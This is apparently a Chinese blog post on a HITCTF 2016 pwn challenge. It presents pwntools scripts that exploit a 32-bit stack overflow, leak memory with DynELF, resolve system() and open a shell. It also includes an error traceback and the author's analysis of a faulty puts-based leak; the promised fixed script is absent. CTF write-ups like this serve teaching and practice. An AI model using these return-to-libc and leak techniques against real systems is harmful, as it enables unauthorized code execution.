[HITCTF2016](pwn)pwn300


簡(jiǎn)介 :

下載 : http://ctf.hit.edu.cn/rs/file/ctf/pwn/2016-hitctf/pwn300
nc ctf.hit.edu.cn 4011

分析 :

  1. 沒(méi)有給libc , 考慮到使用 DynELF 來(lái)搜索目標(biāo)主機(jī)的內(nèi)存空間 , 找到對(duì)應(yīng) libc 版本并下載到本地計(jì)算偏移
  2. 可以泄露內(nèi)存空間的函數(shù)有 : puts 和 write

利用腳本 :

write 函數(shù)版

#!/usr/bin/env python

from pwn import *

Io = process("pwn300")
#Io = remote("ctf.hit.edu.cn", 4011)

def leak(addr):
    junkSize = 26
    junk = "A" * junkSize
    start_addr = p32(0x08048400)
    write_plt = p32(0x080483E0)
    fd = p32(1)
    buf = p32(addr)
    count = p32(4)
    payload = junk + write_plt + start_addr + fd + buf + count
    Io.sendline(payload)
    Io.recvuntil(count)
    Io.recv(1)
    leak_data = Io.recv(4)
    print "[%s] -> [%s] = [%s]" % (hex(addr), leak_data.encode("hex"), repr(leak_data))
    return leak_data

def main():
    # leak system()
    d = DynELF(leak, elf=ELF("./pwn300"))
    system_addr = d.lookup('system', 'libc')
    print "[system()] -> [%s]" % (hex(system_addr))

    # read /bin/sh
    data_addr = 0x0804A030

    bin_sh_addr = p32(data_addr)

    junk = "A" * 26
    read_plt = p32(0x08048390)
    start_addr = p32(0x08048400)
    fd = p32(0)
    buf = p32(data_addr)
    count = p32(8)
    
    payload = junk + read_plt + start_addr + fd + buf + count
    Io.sendline(payload)

    Io.send("/bin/sh\x00")

    payload = junk + p32(system_addr) + start_addr + bin_sh_addr
    Io.sendline(payload)

    Io.interactive()

if __name__ == "__main__":
    main()

puts 函數(shù)版 :

#!/usr/bin/env python

from pwn import *

Io = process("pwn300")
# Io = remote("ctf.hit.edu.cn", 4015)

def leak(addr):
    junkSize = 26
    junk = "A" * junkSize
    start_addr = p32(0x08048400)
    puts_plt = p32(0x080483A0)
    buf = p32(addr)
    payload = junk + puts_plt + start_addr + buf
    SIGN = buf[-1]
    Io.sendline(payload)
    data = ""
    while True:
        data += Io.recv(1)
        if data.endswith("What's your name?\n"):
            break
    output_length = len("hello, ") + len(payload) + len("\n")
    temp = data[output_length: -(len("What's your name?\n") + len("\n"))]
    leak_data = temp[0:4]
    if len(leak_data) < 4:
        leak_data += "\x00" * (4 - len(temp))
    print "[%s] -> [%s] = [%s]" % (hex(addr), leak_data.encode("hex"), repr(leak_data))
    return leak_data

def main():
    Io.readuntil("What's your name?\n")
    d = DynELF(leak, elf=ELF("./pwn300"))
    system_addr = d.lookup('system', 'libc')
    print "[system()] -> [%s]" % (hex(system_addr))


if __name__ == "__main__":
    main()

后記 :

不知道為什么 , 使用 puts 函數(shù)進(jìn)行利用的時(shí)候 , 是可以正常搜索目標(biāo)主機(jī)的內(nèi)存的 , 
但是在查找 system() 函數(shù)的地址的時(shí)候 DynELF 報(bào)錯(cuò)了 , 不知道為什么 , 
暫時(shí)還沒(méi)有解決 , 如果有知道的小伙伴兒一定要告訴我 , 先謝謝啦 , 錯(cuò)誤信息如下 : 

[!] Could not find executable 'pwn300' in \$PATH, using './pwn300' instead
[+] Starting local process './pwn300': pid 25340
[*] '/root/Desktop/pwn300/pwn300'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[0x8048000] -> [7f454c46] = ['\x7fELF']
[+] Loading from '/root/Desktop/pwn300/pwn300': 0xf77b0918
[0x804a004] -> [18097bf7] = ['\x18\t{\xf7']
[+] Resolving 'system' in 'libc.so': 0xf77b0918
[0x8049f14] -> [01000000] = ['\x01\x00\x00\x00']
[0x8049f1c] -> [0c000000] = ['\x0c\x00\x00\x00']
[0x8049f24] -> [0d000000] = ['\r\x00\x00\x00']
[0x8049f2c] -> [19000000] = ['\x19\x00\x00\x00']
[0x8049f34] -> [1b000000] = ['\x1b\x00\x00\x00']
[0x8049f3c] -> [1a000000] = ['\x1a\x00\x00\x00']
[0x8049f44] -> [1c000000] = ['\x1c\x00\x00\x00']
[0x8049f4c] -> [f5feff6f] = ['\xf5\xfe\xffo']
[0x8049f54] -> [05000000] = ['\x05\x00\x00\x00']
[0x8049f5c] -> [06000000] = ['\x06\x00\x00\x00']
[0x8049f64] -> [0a000000] = ['\n\x00\x00\x00']
[0x8049f6c] -> [0b000000] = ['\x0b\x00\x00\x00']
[0x8049f74] -> [15000000] = ['\x15\x00\x00\x00']
[0x8049f7c] -> [03000000] = ['\x03\x00\x00\x00']
[0x8049f80] -> [00000000] = ['\x00\x00\x00\x00']
[0x8049f78] -> [04097bf7] = ['\x04\t{\xf7']
[0xf77b0908] -> [18097bf7] = ['\x18\t{\xf7']
[0xf77b0928] -> [00000000] = ['\x00\x00\x00\x00']
[0xf77b091c] -> [040c7bf7] = ['\x04\x0c{\xf7']
[0xf77b0c04] -> [00000000] = ['\x00\x00\x00\x00']
[0xf77b0924] -> [080c7bf7] = ['\x08\x0c{\xf7']
[0xf77b0c0c] -> [780e7bf7] = ['x\x0e{\xf7']
[0xf77b0e78] -> [6c696e75] = ['linu']
[0xf77b0e7c] -> [782d6761] = ['x-ga']
[0xf77b0e80] -> [74652e73] = ['te.s']
[0xf77b0e84] -> [6f2e3100] = ['o.1\x00']
[0xf77b0c14] -> [286e78f7] = ['(nx\xf7']
[0xf7786e2c] -> [106e78f7] = ['\x10nx\xf7']
[0xf7786e10] -> [2f6c6962] = ['/lib']
[0xf7786e14] -> [33322f6c] = ['32/l']
[0xf7786e18] -> [6962632e] = ['ibc.']
[0xf7786e1c] -> [736f2e36] = ['so.6']
[0xf7786e20] -> [00000000] = ['\x00\x00\x00\x00']
[0xf7786e28] -> [00000000] = ['\x00\x00\x00\x00']
[ERROR] Must specify either a pointer into a module and/or an ELF file with a valid base address
Traceback (most recent call last):
  File "./exploit_puts.py", line 38, in <module>
    main()
  File "./exploit_puts.py", line 33, in main
    system_addr = d.lookup('system', 'libc')
  File "/usr/local/lib/python2.7/dist-packages/pwnlib/dynelf.py", line 541, in lookup
    if lib is not None: dynlib = self._dynamic_load_dynelf(lib)
  File "/usr/local/lib/python2.7/dist-packages/pwnlib/dynelf.py", line 645, in _dynamic_load_dynelf
    lib = DynELF(leak, libbase)
  File "/usr/local/lib/python2.7/dist-packages/pwnlib/dynelf.py", line 166, in __init__
    log.error("Must specify either a pointer into a module and/or an ELF file with a valid base address")
  File "/usr/local/lib/python2.7/dist-packages/pwnlib/log.py", line 416, in error
    raise PwnlibException(message % args)
pwnlib.exception.PwnlibException: Must specify either a pointer into a module and/or an ELF file with a valid base address
[*] Stopped process './pwn300' (pid 25340)

再次后記 :

我好像大概想明白了為啥這個(gè)時(shí)候會(huì)報(bào)錯(cuò) , 還是因?yàn)槭褂?puts 的時(shí)候 leak 函數(shù)寫(xiě)的有問(wèn)題
puts 函數(shù)當(dāng)遇到 \x00 的時(shí)候就會(huì)結(jié)束輸出
因此當(dāng)內(nèi)存中存在 \x00 , 那么輸出就會(huì)被截?cái)?, 因此獲取到的數(shù)據(jù)可能會(huì)不完整
之前腳本中的邏輯是 , 如果不完整就直接全部用 \x00 來(lái)填充 , 但是這是有問(wèn)題的
比如說(shuō)內(nèi)存中一段數(shù)據(jù)為 : \x00\x11\x22\x33
那么我的腳本跑出來(lái)的結(jié)果就是 \x00\x00\x00\x00 , 這樣就會(huì)出錯(cuò)了
因此為了修復(fù)這個(gè)錯(cuò)誤 , 我們應(yīng)該這樣做 , 當(dāng)讀取到的第一個(gè)字節(jié)是 \x00 的時(shí)候
為了保證數(shù)據(jù)的完整性 , 需要對(duì)下一個(gè)字節(jié)繼續(xù)進(jìn)行讀取 , 直到四個(gè)字節(jié)全部讀取完畢
這個(gè)時(shí)候才可以正常返回 , 這樣才不會(huì)出錯(cuò)
修改之后的腳本如下 : 

puts 版本利用腳本 :


最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書(shū)系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容